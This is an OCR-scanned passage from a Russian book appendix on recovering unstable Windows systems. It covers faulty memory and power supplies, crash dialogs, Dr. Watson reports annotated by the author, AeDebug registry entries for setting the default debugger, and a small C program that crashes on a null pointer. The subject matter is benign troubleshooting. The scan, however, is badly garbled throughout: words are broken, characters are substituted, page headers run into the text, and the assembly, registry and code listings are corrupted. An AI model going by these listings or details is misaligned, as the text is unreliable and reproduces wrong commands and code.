UNIX также найдут здесь немало интересного. АППАРАТНАЯ часть п °т два основных аппаратных виновника нестабильной работы системы — опе- Рмпивная память и блок питания. Рассмотрим их поподробнее, отмечая осо- нцости взаимодействия с памятью в современных чипсетах, таких как 1п- е 857Р и подобных ему. есная связь между программным и аппаратным обеспечением затрудняет де- ^Ние материала приложения на две равные части, поскольку ряд сбоев систе- ‘ ы (и пресловутых «голубых экранов смерти» в том числе) вызван отнюдь не Аритмическими ошибками, а неисправностью железа. Но на начальном эта- аНализа голубого экрана смерти (далее по тексту просто голубого экрана) 1 Не можем надежно установить его источник и, чтобы не описывать одни
252 Приложение А. Практические советы по восстановлению системы в боевых услов и те же методики дважды, условимс,я относить все критические ошибки сцст мы к программной среде. В действительности же это не вызывает никакого п )0 тиворечия, поскольку с аппаратными ошибками приходится бороться и цр() граммными средствами (помните известное: «Как нематериальная тунг возвращается в тело в результате материальных действий врача»?). d ОПЕРАТИВНАЯ ПАМЯТЬ Оперативная намять относится к одному из наименее надежных компонен- тов вычислительной системы, и потому львиная доля всех сбоев приходится именно на нее. Проявления их могут быть самыми разнообразными: от кри- тических ошибок приложений до периодических или непериодических оши- бок чтения (записи) на жесткий диск или даже каскадных ошибок приема/ передачи TCP/IP-пакетов (что не покажется удивительным, если вспомнить о кэширующей природе всех драйверов, обслуживающих устройства ввода/ вывода). Любой аппаратный ресурс, требующий для своей работы некоторо- го количества оперативной памяти, так или иначе зависим от работоспособ- ности последней. Существует мнение, что память «с четностью» полностью решает проблему сво- ей надежности н сводит риск разрушения данных к разумному минимуму. На самом деле это не так. Память с четностью распознает лишь одиночные ошиб- ки и не гарантирует обнаружение групповых. Память типа ЕСС (Error Check & Correction/Error Correction Code — контроль и исправление ошибок) способ- на автоматически исправлять любые одиночные ошибки и обнаруживать лю- бые двойные. До тех пор, пока оперативная память функционирует более или менее нормально, противостояние энтропии и помехозащитных кодов решает- ся в пользу последних. Однако при полном или частичном выходе одного или нескольких модулей памяти из строя корректирующих способностей контро- лирующих кодов перестает хватать, и система начинает работать крайне неста- бильно. Концепция виртуальной памяти, реализованная в операционных системах се- мейства Windows п UNIX, рассматривает основную оперативную память как своеобразный кэш. А это значит, что одни и те же логические страницы адрес- ного пространства в разное время могут отображаться на различные физиче- ские адреса. Разрушение однон-единственной физической ячейки памяти за- трагивает множество виртуальных ячеек, и потому сбои памяти практически всегда проявляются «коллективными» критическими ошибками приложении' рассредоточенными в широком диапазоне виртуальных адресов. Если же кри тические ошибки возникают лишь в некоторых процессах и располагаются по более или менее постоянным адресам — с высокой степенью вероятности МО7К но предположить, что это программная, а не аппаратная ошибка. Исключение составляет неоткачиваемая область памяти (non-paged pool), занятая яДРу системы и всегда размещающаяся по одним и тем же физическим адресам, г* личие дефектных ячеек в данной области обычно приводит к голубому зкр»W смерти и/или полному зависанию системы, хотя в некоторых случаях ошиб
253 дппаратн£д_час^.. 1рапверон передаются на прикладной уровень и роняют один или несколько процессов- Самое интересное, что при прогоне нестабильно работающих драйверов/про- цессов под отладчиком ошибка волшебным образом может исчезать. В действи- течьности ничего загадочного тут нет. За счет многократного снижения интен- сивности доступа к памяти отладчик позволяет «вытянуть» даже дефектные ячейки, затрудняя их локализацию. Некоторые руководства рекомендуют ис- следовать дам и, сброшенный системой при возникновении критической ошиб- ки в ядре, наивно полагая, что искаженные ячейки будут выглядеть как бес- смысленный мусор, сразу бросающийся в глаза даже при минимальных навыках дезассемблирования. При разрушении большого количества ячеек памяти, за- трагивающих исполняемый код, это действительно так. Однако искажение об- ластей данных предложенный алгоритм выявить не в состоянии. Только опыт- ный разработчик драйверов заподозрит, что здесь что-то не так. А ведь в некоторых случаях неисправный модуль содержит всего лишь одип-един- ственный дефектный бит информации, который при визуальном осмотре дам- па вообще нереально обнаружить. К тому же не стоит забывать, что «замусори- вание» памяти может быть вызвано не только аппаратными, но и программными ошибками (например, программист забыл проинициализировать буферы или направил указатели в «космос», передав управление по произвольному адресу памяти). Худший случай — это разрушение буферов ввода/вывода, зачастую приводя- щее к полному краху файловой системы без какой-либо надежды на ее восста- новление. По непонятной причине разработчики дисковых драйверов отказа- лись от подсчета контрольной суммы пересылаемых через них блоков данных, что сделало файловую систему чрезвычайно уязвимой. Причем NTFS отказы- вается даже в худшей ситуации, чем FAT32, поскольку FAT32 требует значи- тельно меныпего объема буферной памяти для своей поддержки и к тому же значительно легче поддается «ручному» восстановлению. Автор использует отказоустойчивые буферы, построенные на основе демонстрационных драйве- ров, входящих в состав DDK и дополненные специальными средствами кон- троля. Главное ноу-хау данной технологии состоит в том, что обмен с диском ведется на «сыром» (RAW MODE) уровне, то есть, помимо области пользова- тельских данных, в сектор входит контрольная сумма, по которой драйвер с од- н°и и привод с другой стороны контролируют целостность данных. В жизни автора эта технология срабатывала дважды (в смысле выявляла дефектный Модуль памяти, пытавшийся разрушить жесткий диск), так что усилия, затра- Нные на разработку драйверов, окупили себя сполна! Пу73™' тестиР0Вание оперативной памяти путем прогона специальных про- 6 ак,м (Check It, PC Diagnostic и им подобных) — не самый лучший путь для ления ее работоспособности. В силу физической неоднородности подсис- ’,амяти Дефективность бракованных модулей зачастую проявляется не на -1е °И’ а На СТРОГО определенной последовательности запросов и при опреде- п °м сочетании содержимого разрушенной и окрестных ячеек. Тестирующие Раммы перебирают ограниченное количество наиболее типичных табло-
254 Приложение А. Практические советы по восстановлению системы в боевыу „„ -—----гоювиЯ)( нов и потому обнаруживают лишь некоторые, наиболее «дефектные дефС1. Ряд серверных чипсетов содержит в себе более или менее продвинутые >Ь’ ства тестирования памяти, достаточно эффективно работающие и в фон^21' режиме. )д* Ряд тестовых пакетов (например, TestMein от SERJ M) перебирает бо>и количество разнотипных шаблонов и довольно лихо выявляет скрытые дефе^ ты модулей памяти, в обычной жизни проявляющиеся лишь при стечении мно жества маловероятных обстоятельств. К сожалению, эволюция чипсетов и коццс концов привела к тому, что и эти шаблоны перестали работать. При слишком интенсивном обмене с памятью чипсет Intel 857Р и другие подобные ему начи нают вставлять холостые циклы, давая памяти время «на остыть» и предотвра- щая тем самым ее перегрев. С одной стороны, такое конструкторское решение можно только приветствовать, поскольку оно значительно повышает надежность системы, но с другой — здорово затрудняет ее тестирование. Для получения сколько-нибудь достоверных результатов тестирующая программа должна по- добрать такую интенсивность прогона памяти, при которой холостые никлы еще не вставляются, но система работает уже на пределе. Насколько известно автору, подобных программ еще нет, и когда они появится на рынке — неизвест- но. Так что спасение утопающих — дело рук самих утопающих. Кстати, о птичках. Сама по себе память может быть и не виновата. Источником ошибок вполне может быть и северный мост чипсета, содержащий контроллер памяти. Исследуя чипсет VIA КТ133, автор обнаружил несколько критических ошибок планировщика очередей, приводящих к искажению передаваемых дан- ных и визуально проявляющихся как типичные дефекты памяти. БЛОК ПИТАНИЯ Второй по распространенности источник нестабильной работы компьютера- это блок питания. Современные компьютеры предъявляют к качеству вита- ющего напряжения достаточно жесткие требования, при нарушении которых работа компьютера становится совершенно непредсказуемой, проявляясь за висаниями, критическими ошибками и голубыми экранами, выскакиваюшим11 в самых неожиданных местах. В ряде случаев отмечается замедление быстро действия приводов, обычно носящее характер внезапных провалов произвол11 дельности (копирование файлов движется как бы рывками). Практически все уважающие себя производители материнских платоснаШ^ свои детища развитой электронной системой контроля основных (опор1^^ напряжений, показания которых отображаются специальными утилитами-^ дитесь, что питающий потенциал соответствует норме, отклоняясь от более чем на 5-10 %, и остается более или менее постоянным в процессе р ты компьютера. Причем «недобор» напряжения намного более опасен, чеь f ребор». Увеличение напряжения на 15-20 % практически никогда не пр111, к моментальному выходу электроники из строя, правда, вызывает ее пер я но при наличии качественной системы охлаждения с этим можно и схШР jr 1 Io даже незначительное уменьшение напряжения заметно снижает рсаК
255 переходных процессов полупроводниковых элементов, и система не «успе- поспевать» за тактовой частотой, что приводит к зависаниям, критическим Гибкам, перезагрузкам и т. д. Яа рис. А-1 приведен «плохой» блок питания, обнаруживающий значительную просадку на липни 12 В и чудовищные пульсации напряжения. ПРИМЕЧАНИЕ------------------------------------------------------------- «Линии» в том смысле, что у блока питания несколько линий с разными или одинаковы- ми уровнями. «Линия 12 вольт» подразумевает провод, который должен давать 12 В, а какой уж уровень там окажется - никто не знает, но даже если там на поломанном блоке питания окажется 5 В, линия-то все равно останется 12-вольтовая. Уровень 3,3 В, обслуживающий святая святых — оперативную память, — так- же слегка «пульсирует», хотя стабилизируется отнюдь не блоком питания, а са- мой материнской платой. Предел ее возможности стабилизации, впрочем, тоже небезграничен, и даже качественная материнская плата бессильна выправить «кривой от рождения» блок питания. ₽ис Пример «плохого» блока питания К сожалению, точность интегрированных вольтметров невелика и многие их *'1,х ЯВНо нуждаются в хорошей калибровке. Поэтому доверять таким показа- ям следует с осторожностью и большой долей скептицизма, при необходи- СТи уточняя их нормальным цифровым мультиметром. 11 все-все-все t3JaJlbHb,e компоненты компьютера практически никогда не вызывают серь- кОмЫх пРоблем. Процессоры (при надлежащей системе охлаждения и не слиш- i^‘ «задранной» тактовой частоте) лишь в исключительных случаях позволя- Пр0Се^с подвесить систему (да и то основная доля вины ложится не на сам НЬ 11е<?сор, а на интегрированный кэш). Кстати, характерная болезнь разогпан- х Процессоров — голубой экран с надписью UNEXPECTED_KERNEL_MODE_TRAP.
256 Приложение А. Практические советы по восстановлению системы в боевых Жесткие диски, становясь все более и более интеллектуальными устройст ми, достаточно неприхотливы, правда, при неправильной установке термиВ<1 торов на SCSI-устройствах Windows NT может выбрасывать голубой эки™ хорошие диски термируют себя самостоятельно. Карты расширения от сторонних производителей, будучи расположенными разделяемой PCI-шине, способны вызывать любые мыслимые и немыслимые конфликты, поэтому не пользуйтесь продукцией тех поставщиков, которым вы не доверяете. ПРОГРАММНАЯ ЧАСТЬ Катастрофическая небрежность тестирования фирменного и кустарного ПО приводит к появлению многочисленных критических ошибок при его испол- нении: «Программа выполнила недопустимую операцию и будет закрыта. Если ошибка будет повторяться, обратитесь к разработчику». К несчастью, крити- ческие ошибки приложения (в терминологии Windows 2000 просто «ошибки приложения») имеют устойчивую тенденцию появляться в самые ответствен- ные моменты времени, например, накануне сдачи программы. А разработчики... они в большинстве своем такие сообщения просто игнорируют. В частности, потому, что просто не знают, как эту информацию интерпретировать, а может, еще и потому, что вообще не заботятся о проблемах своих пользователей. Многие сетуют на тупость Windows и ее неспособность противостоять крити- ческим ошибкам. Но эти обвинения совершенно безосновательны. Возникно- вение критической ошибки свидетельствует о том, что программа «поехала кры- шей» и пошла вразнос. Все, что только операционная система может сделать, - это пристрелить ее! Иначе программа возвратит заведомо ложные данные, чего допускать ни в коем случае нельзя. Так что операционную систему следует не ругать, а благодарить! Иногда сообщения о критических ошибках удается предотвратить установ- кой нового сервис-пака, а иногда — путем удаления оного. Еще можно понр0 бовать переустановить операционную систему или непосредственно само не стабильно работающее приложение. Однако никаких гарантий, что после всех этих манипуляций сбой действительно исчезнет, — нет. Достаточно веном нить нашумевшую историю с червем MSBLASTER, вызывающим критическую’ ошибку в системном сервисе svehost. Сколько бы вы ни переустанавливав свою Windows 2000, сколько бы ни меняли железо, ситуация не улучшалась Антивирусы, правда, сообщали о наличии вируса (да и то не всегда), °ЛН^, не объясняли, какие меры безопасности следует предпринять. К тому >к<-^ рушение svehost’a происходило отнюдь не вследствие инфицирования пыотера вирусом, а лишь при неудачной попытке оного. Именно неумс хакеров сорвать стек, не уронив при этом всю систему, и демаскировало рус, попутно организовав разрушительную DoS-атаку, до сих пор пр»11* шую весьма ощутимые убытки.
257 якип хакер, считающий себя профессионалом, не может позволить себе рос- |ь действовать вслепую. Знание ассемблера и умение быстро и грамотно к 1тсрпр£'тиР0Вать сообщения о критических ошибках, если еще не решит про- 'пемУ-т0’ по кРа”|,е“ меРс> придаст вам чувство уверенности и поможет лока- пнзов;>ть истинного виновника нестабильности системы. Во всяком случае, бу- дет куда ткнуть носом зарвавшегося разработчика. Согласитесь, одно дело об ошибке и совсем другое — показывать на нее пальцем. ПРИЛОЖЕНИЯ, НЕДОПУСТИМЫЕ ОПЕРАЦИИ И ВСЕ-ВСЕ-ВСЕ Различные операционные системы ио-разпому реагируют па критические ошиб- ки Так, например, NT резервирует два региона своего адресного пространства дня выявления некорректных указателей. Один находится на самом «дне» кар- ты памяти и предназначен для отлавливания нулевых указателей. Другой рас- положен между «кучей» и областью памяти, закрепленной за операционной системой. Он контролирует выход за пределы пользовательской области памя- ти и, вопреки расхожему мнению, никак не связан с функцией WriteProcessMemory (см. техническую заметку ID: Q92764 в MSDN). Оба региона занимают по 64 Кбайт, и всякая попытка доступа к ним расценивается системой как крити- ческая ошибка. В 9х имеется всего лишь один четырехкилобайтовый регион, следящий за нулевыми указателями, поэтому по своим контролирующим спо- собностям она значительно уступает NT. В WindowsNT экран критической ошибки (рис. А.2) содержит следующую информацию; • адрес машинной инструкции, возбудившей исключение; • словесное описание категории исключения (или его код, если категория ис- ключения неизвестна); • параметры исключения (адрес недействительной ячейки памяти, род опе- рации и т. д.). ^У«Д-Оахбка приложения «стг’да.дияло к памятмпо Память не может быть “watF.; Отмена опо * Соо6Щение 0 критической ошибке, выдаваемое Рационной системой Windows ПеРационные системы семейства Windows 9х в этом отношении более иифор- m Ив,11>| (рис. А.З) и, помимо категории исключения, выводят содержимое ре- (то а ЧП на момент сбоя, состояние стека и байты памяти по адресу CS:EIP (о еСТь текУШему адресу исполнения). Впрочем, наличие «Доктора Ватсона» гОв*,ем ~ далее) стирает различие между двумя системами, и потому можно °Рить лишь об удобстве и эргономике 9х, сразу предоставляющей весь 5 976
258 Приложение А. Практические советы по восстановлению системы в боевых услОв минимум необходимых сведений, в то время как в NT отчет об ошибкесоздае ся отдельной утилитой. т' -Ч Text ©Программа выполнила нвоопу-лимус операцию и будет закрыта Если эта ошибка будет повторяться обратитесь к разработчику. Программа TEST вызвала сбой при обременим к странице памяти '. . ' в модуле TEST.EXE по адресу OiSii00401026. Регистры: EAX*OOOOOOGq CS»OI0f EIP“Ob4oiCES'1>Ь(?»-000*й24€ EBX*OO53O0GQ . BSP«OO^fddc ’ W~006-i rde4 ECX«OGOOOOOO £>$*0197 ESI«ei7€Sbb4 PS*5b8f EDX*OOOODOOD ES“0I97 EDI-00000000 GS-0000 Байты по адресу C$:EIP: Рис. A.3. Сообщение о критической ошибке, выдаваемое операционной системой Windows 98 Если пи один из отладчиков в системе не установлен, то окно о критической ошибке имеет всего одну кнопку — ОК, нажатие на которую приводит к аварий- ному закрытию «политнекорректпого» приложения. При желании окно крити- ческой ошибки можно оснастить кнопкой Отмена (Cancel), запускающей отлад- чик или иную утилиту анализа ситуации. Важно понять, что Отмена отнюдь не «отменяет» автоматическое закрытие приложения, но при некоторой сноровке вы сможете устранить «пробоину» вручную, продолжив нормальную работу'. Запустите Редактор Реестра и перейдите в раздел HKLM\SOFTWARE\Microsoft\Win- dows NT\CurrentVersion\AeDebug. Если такого раздела нет — создайте его самостоя- тельно. Строковый параметр Debugger задает путь к файлу отладчика со всеми необходимыми ключами; строковый параметр Auto указывает, должен ли отлад- чик запускаться автоматически (значение 1) или предлагать пользователю сво- боду выбора (0). Наконец, двойное слово параметра UserDebuggerHotKey специфи- цирует скэн-код горячей клавиши для принудительного вызова отладчика. ДОКТОР ВАТСОН Доктор Ватсон является штатным обработчиком критических ошибок, входя шим в базовый пакет поставки всех операционных систем семейства Wind0" По своей природе он представляет статическое средство сбора релевантн информации. Предоставляя исчерпывающий отчет о причинах сбоя, ДоК Ватсон в то же самое время лишен активных средств воздействия па некорре! работающие программы. «Утихомирить» разбушевавшееся приложение, зас вив его продолжить свою работу с помощью одного Доктора Ватсона, вЫ сможете, и для этого вам придется прибегать к интерактивным отладим одним из которых является Microsoft Visual Studio Debugger, входяшин в став одноименной среды разработки и рассматриваемый далее.
часть 259 читается, что Доктор Ватсон предпочтительнее использовать на рабочпхстан- /точнее — па автоматизированных рабочих местах), а интерактивныесред- цЦЯЛ' „ •тва отладки — па серверах. Дескать, во всех премудростях ассемолера пользо- вате'1Ч все равно не разбираются, а вот на сервере продвинутый отладчик будет нельзя кстати. Отчасти это действительно так, но не стоит игнорировать то обстоятельство, что далеко не все источники ошибок обнаруживаются стати- ческими средствами анализа, к тому же интерактивные инструменты значитель- но упрощают процедуру анализа. Между тем Доктор Ватсон достается нам да- ром. а все остальные программные пакеты приходится приобретать за дополнительную плату. Так что предпочтительный обработчик критических ошибок вы должны выбирать сами. Для установки Доктора Ватсона отладчиком по умолчанию добавьте в реестр следующую запись или запустите файл Drwtsn32.exe с ключом—i (для выполне- ния обоих действий вы должны иметь права администратора) (листинг АО- Листинг А.1. Установка Доктора Ватсона отладчиком по умолчанию 'H(EY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\C'jrrentVers1on\AeDebug] "Auto"=”l" "Debugger''="drwtsn32 -p £ld -e Xld -g” "UserDebuggerHotKey "=dword\00000000 Теперь возникновение критических ошибок программы станет сопровождать- ся генерацией отчета, составляемого Доктором Ватсоном и содержащего более или менее подробные сведения о характере ее происхождения (рис. Л.4). IОимбка программы Л Wtexe вызвало оценку и буает закрыто. Необходим \ перезапустить программу. Создфп журнал Сшибок |(2~ек"-1| ' ₽ис. А.4. Реакция Доктора Ватсона на критическую ошибку Образец дампа, созданный Доктором Ватсоном, приведен в листинге А.2. Ком- ментарии, добавленные автором, выделены полужирным шрифтом. Листинг А.2. Образец отчета Доктора Ватсона с комментариями автора Исключение в приложении: Прил.. (pid=612) ) pid процесса, в котором произошло исключение Время: 14.11.2003022:51:40.674 : время, когда произошло исключение Номер: C0000005 (нарушение орав доступа) Продолжение
260 Приложение А. Практические советы по восстановлению системы в боевик „ —------------------------------------------------------------------------------ Листинг А.2 (продолжение) : код категории исключения ; расшифровку кодов исключений можно найти в WINNT.Н. ; входящем в состав SDK. прилагаемом к любому Windows-компилятору ; подробное описание всех исключений содержится в документации ; по процессорам Intel и AMD, бесплатно распространяемой их производителями : (внимание: для перевода кода исключения операционной системы в ; вектор прерывания ЦП вы должны обнулить старшее слово) : в данном случае это 0x5 - попытка доступа к памяти по запрещенному адресу *----> Сведения о системе <----* Имя компьютера: KPNC Имя пользователя: Kris Kaspersky Число процессоров: 1 Тип процессора: х8б Family 6 Model 8 Stepping 6 Версия Windows 2000: 5.0 Текущая сборка: 2195 Пакет обновления: None Текущий тип: Uniprocessor Free Зарегистрированная организация: Зарегистрированный пользователь: Kris Kaspersky : краткие сведения о системе *----> Список задач <----* 0 Idle.exe 1 8 System.exe 232 smss.exe 1244 os2srv.exe 1164 os2ss.exe 1284 wirdbg.exe 1180 MSDEV.exe 1312 cmd.exe 612 test.exe 1404 drwtsn32.exe 0 _Total.exe (00400000 - 00406000) (77F80000 - 77FFA000) (77Е80000 - 77F37000) : перечень загруженных DLL : согласно документации, справа от адресов должны быть перечислены имена ; соответствующих модулей, однако практически все они так хорошо "замаскировались . ; что стали совершенно не видны, вытащить их имена из файла протокола все-таки можно, : но придется немного пошаманить (см. ниже "таблицу символов") Копия памяти для потока 0x188 : ниже идет копия памяти потока, вызывавшего исключение еах«00000064 eox=7ffdf000 есх=00000000 edx=00000064 es1=00000000 edi=00000000 eio=00401014 esp=0012Ff70 ebp=0012ffc0 iopl=0 nv up ei pl nz na pe nc
Анаграммная часть 261 rS»OMb SS--C023 ds=0023 es=0023 fs=0038 gs=OOCO efl=00000202 " содержимое регистров и флагов Функция: <nosym6ols> . распечатка окрестной точки сбоя СОДООЯс 0000 add [еах].al ds: 00000064=?? ; записываем в ячейку, на которую ссылается ЕАХ, значение AL ; значение адреса ячейки, вычисленной Доктором Ватсоном, равно 64h. : что. очевидно, не соответствует действительности; Доктор Ватсон подставляет в выражение значение регистра ЕАХ ; на момент возникновения сбоя, и это совсем не то значение, которое ; было в момент исполнения! к сожалению, чему был равен ЕАХ в момент ; исполнения ни нам. ни Доктору Ватсону не известно. 004C3ffe 0000 add [еах].al ds:00000064=?? ; записываем в ячейку, на которую ссылается ЕАХ, значение AL : как? опять? что это за бред?! вообще-то так кодируется ; последовательность 00 00 00 00, по всей видимости, являющаяся ; осколком некоторой машинной команды, неправильно интерпретированной : дизассемблерный движком Доктора Ватсона; 0040:000 86542408 mov edx.[esp+0x8[ ss:00f8d547=???????? : загружаем в EDX аргумент функции ; какой именно аргумент - сказать невозможно, так как мы не знаем адрес ; стекового фрейма; 004С10С4 33с9 хог есх.есх : обнуляем ЕСХ 00401006 85d2 test edx.edx 00401008 7el8 jle 00409622 : если EDX = 0. прыгаем на адрес 409B226 0040100a 86442408 mov eax.[esp*0x8] ss:00f8d547=???????? : загружаем уже упомянутый аргумент в регистр ЕАХ 0040100е 56 pusd esi : сохраняем ESI в стеке, перемещая тем самым указатель вершины стека : на 4 байта вверх (в область младших адресов) 00401001 86742408 mov esi. [esp+0x8] ss:C0f8d547=???????? .’ загружаем в ESI очередной аргумент : поскольку ESP был только что изменен, это совсем не тот аргумент. : с которым мы имели дело ранее 00401013 57 push edi : сохраняем регистр EDI в стеке _> 03401014 0fbe3c31 movsx edi.byte ptr [ecx+esi] ds:00000000=?? Продолжение &
262 Приложение А. Практические советы по восстановлению системы и I—”------------:----------------------— Листинг А.2 {продолжение) вот мы и добрались до инструкции, возбудившей исключение доступа. она обращается к ячейке памяти. на которую указывает сумма регистров ЕСХ а чему равно их значение? прокручиваем экран немного вверх и находим ЧТо ECX + ESI =0. о чем Доктор Ватсон нам и сообщает: ”ds:000000" и ESI отметим, что этой информации можно верить, поскольку подстановка эффективного адреса осуществлялась непосредственно в момент исполнения теперь вспомним, что ESI содержит копию переданного функции аргумента и что ЕСХ был обнулен явно, следовательно, в выражении [ECX+ESI] регистр ESI - указатель, а ЕСХ - индекс. раз ESI равен нолю, то нашей функции передали указатель на невыделенную область памяти, обычно зто происходит либо вследствие алгоритмической ошибки, либо вследствие исчерпания виртуальной памяти. к сожалению. Доктор Ватсон не осуществляет дизассемблирование материнской функции, и какой из двух предполагаемых вариантов правильный, нам остается лишь гадать... правда, можно дизассемблировать дамп памяти процесса (если, конечно, он был сохранен), но это уже не то... 00401018 03с7 add еах. edi ; сложить содержимое регистра ЕАХ с регистром EDI и записать результат в ЕАХ 0040101а 41 inc OCX : увеличить ЕСХ на единицу 0040101b ЗЬса ст.р ecx.edx 03401016 7cf5 jl 00407014 : до тех пор пока ЕСХ < EDX. прыгать на адрес 407014 : (очевидно, мы имеем дело с циклом, управляемым счетчиком ЕСХ). : при интерактивной отладке мы могли бы принудительно выйти : из функции, возвратив флаг ошибки, чтобы материнская функция : (а с ней и вся программа целиком) могла продолжить свое выполнение. : и в этом случае потерянной окажется лишь последняя операция, но все : остальные данные окажутся неискаженными: 0040101f 5f pop edi 004C1020 5e pop es’ 0040102: c3 -et : выходим из функции *----> Обратная трассировка стека <-----* : содержимое стека на момент возникновения сбоя ; распечатывает адреса и параметры предыдущих выполняемых функций. : при интерактивной отладке мы могли бы просто передать управление ; на одну из вышележащих функций, что эквивалентно возращению в прошлое. : зто только в реальной жизни разбитую чашку восстановить нельзя. : в компьютерной вселенной возможно все! FramePtr ReturnAd Param#l Param#2 Paran#3 Param#4 -unction Name ; FramePtr; указывает на значение фрейма стека.
|Ммная^асть 263 выше (то есть в более младших адресах) содержатся аргументы функции. ниже - ее локальные переменные ReturnAd: бережно хранит адрес возврата в материнскую функцию, если здесь содержится мусор и обратная трассировка стека начинает характерно шуметь, с высокой степенью вероятности можно предположить, что мы инеем дело с ошибкой "срыва стека", а возможно, и с попыткой атаки вашего компьютера Paratrf: четыре первых параметра функции - именно столько параметров Доктор Ватсон отображает на экране; это достаточно жесткое ограничение — многие функции имеют десятки параметров и четыре параметра еще ни о чем не говорят: однако недостающие параметры легко вытащить из копии необработанного стека вручную, . достаточно лишь перейти по указанному в поле FramePtr адресу : Func Name: имя функции (если только его возможно определить); реально ; отображает лишь имена функций, импортируемые из других DLL, ; поскольку встретить коммерческую программу, откомпилированную : вместе с отладочной информацией, практически нереально C012FFCO 77Е87903 000000 00 ОООООСОС 7-FDF000 С0000005 ! <nosymbol s> C012FFF0 00000000 00401040 ОООООСОС 03000008 00000100 kernel 32! SetUnnandl edExc ept i onF i Iter ; функции перечисляются в порядке их исполнения; самой последней исполнялась : kernel32!SetiJnhandledExceptionFilter - функция, обрабатывающая данное исключение *—> Копия необработанного сгека < ---* : копия необработанного стека содержит стек таким, какой он есть. : очень помогает при обнаружении buffer overfull атак - весь shell-код. ; переданный злоумышленником, будет распечатан Доктором Ватсоном, и вам : останется всего лишь опознать его (подробнее об этом рассказывается : в моей книге "Техника сетевых атак") 0012ft7C 00 00 00 00 00 00 00 00 - 39 10 40 00 00 00 co 00 9.0.. C012ff83 64 00 00 00 f4 10 40 00 - 01 00 00 00 dO Oe 30 00 d.. . .0 .0. 0013CO9Q 00 00 СО'.ЗООаО 00 GO *—> Таблица 00 00 00 00 00 00 символов 00 00 00 00 00 - 00 - 00 ОС 00 00 00 00 00 00 00 00 00 co 00 co 00 . .. 00 ... : таблица символов содержит имена всех загруженных DLL вместе с именами : импортируемых функций, используя эти адреса в качестве отправной точки. ; мы без труда сможем восстановить "перечень загруженных DLL" ntdll.dll 7?F81106 00000000 ZwAccessCheckByType 7?FCEFB0 00000003 fltused Продолжение &
264 Приложение А. Практические советы по восстановлению системы в боевых условц, Листинг А.2 (продолжений) kernel 32.dl1 77Е81765 0000003d IsDebuggerPresent 77EDBF7A 00000000 VerSetConditicnMask : итак, возвращаемся к таблице загруженных DLL : (00400000 - 00406000) - зто. очевидно, область памяти, занятая самой программой : (77FB0000 - 77FFAC00) - зто KERNEL32.DLL ; (77ЕВ0000 - 77F37000) - это NTDDL.DLL MICROSOFT VISUAL STUDIO DEBUG При установке среды разработки Microsoft Visual Studio она регистрирует свой отладчик основным отладчиком критических ошибок по умолчанию. Это про- стой в использовании, но функционально ущербный отладчик, не поддержи- вающий даже такой банальной операции, как поиск Ьех-последовательности в оперативной памяти. Единственная «вкусность», отличающая его от про- двинутого во всех отношениях Microsoft Kernel Debugger, — это возможность трассировки «упавших» процессов, выбросивших критическое исключение. В опытных руках отладчик Microsoft Visual Studio Debugger способен творить настоящие чудеса, и одно из таких чудес — это возобновление работы прило- жений, совершивших недопустимую операцию и при нормальном течении со- бытий аварийно завершаемых операционной системой без сохранения дан- ных. В любом случае интерактивный отладчик (коим Microsoft Visual Studio Debugger и является) предоставляет намного более подробную информацию о сбое и значительно упрощает процесс выявления источников его возникно- вения. Для ручной установки Microsoft Visual Studio Debugger основным отладчиком критических ошибок добавьте в реестр данные, представленные в листинге А.З. Листинг А.З. Установка Microsoft Visual Studio Debugger основным отладчиком критических ошибок [HKEY_LOCAL_MACHlNE\SOFIWARE\M1crosoft\W1ndows NT\Curn?ntVersion\AeDebug] "Auto'="l" "Debugger"="\''C:\\Prg FilesWMS VS\\Common\\MSDev98\\Bin\\msdev.exe\" -p &ld -e % d 'UserDebuggerHotKey"=dword:0000C000 В листинге A.4 представлена демонстрационная программа, вызывающая со общение о критической ошибке. Листинг А.4. Демонстрационная программа, вызывающая сообщение о критической ошибке // функция возвращает сумму л символов типа char // если ей-передать null-pointer, она "упадет". // хотя источник ошибки не в ней. а в аргументах. // переданных материнской функцией
Программная часть 265 teS«.!char *buf. int n) f .nt a. sun: for (a = 0: a < n: a++) sum += buf[a]; // здесь возбуждается исключение return sum; } ( Idefine N 100 char *buf =0: // инициализируем указатель на буфер /* but = malloc(lOO); */ testCbuf. N): // "забываем" выделить память, здесь ошибка // передаем null-pointer некоторой функции ОБИТАТЕЛИ СУМЕРЕЧНОЙ ЗОНЫ, ИЛИ ИЗ МОРГА В РЕАНИМАЦИЮ Хотите узнать, как заставить приложение продолжить нормальную работу по- сле появления сообщения о критической ошибке? Это действительно очень ак- туально. Представьте, что «рухнуло» приложение, содержащее уникальные и еще не сохраненные данные. По минимуму их придется набивать заново, по максимуму — они потеряны для вас навсегда. На рынке имеется некоторое ко- личество утилит, способных решить эту задачу (взять те же Norton Utilities), но их «интеллектуальность» оставляет желать лучшего, и в среднем они сраба- тывают один раз из десяти. В то же самое время ручная реанимация программы воскрешает ее в 75-90 % случаев. Строго говоря, гарантированно восстановить работоспособность «обрушившей- ся» программы нельзя, равно как и невозможно выполнить «откат» действий, предшествующих ее обрушению. В лучшем случае вам удастся сохранить свои Данные на диске до того, как программа полностью потеряет нить управления и пойдет вразнос. Но и это неплохо! Существует по меньшей мере три различных способа реанимации: С Принудительный выход из функции, возбудившей исключение. 2- «Раскрутка» стека с передачей управления назад. Передача управления на функцию обработки сообщений. Рассмотрим каждый из этих способов на примере приложения testt.exe, кото- Рое можно скачать с сайта издательства. Забегая вперед, отметим, что реанимации поддаются лишь те сбои, что вызваны Аритмическими, а не аппаратными ошибками (то есть сбоем оборудования), олц информация, хранящаяся в оперативной памяти, оказалась искажена в ре- ьзате физического дефекта последней, то восстановить работоспособность Ьшего приложения, скорее всего, уже не удастся, хотя, если сбой не затронул 3Ченно важные структуры данных, некоторая надежда на благополучный ис- асе-таки есть.
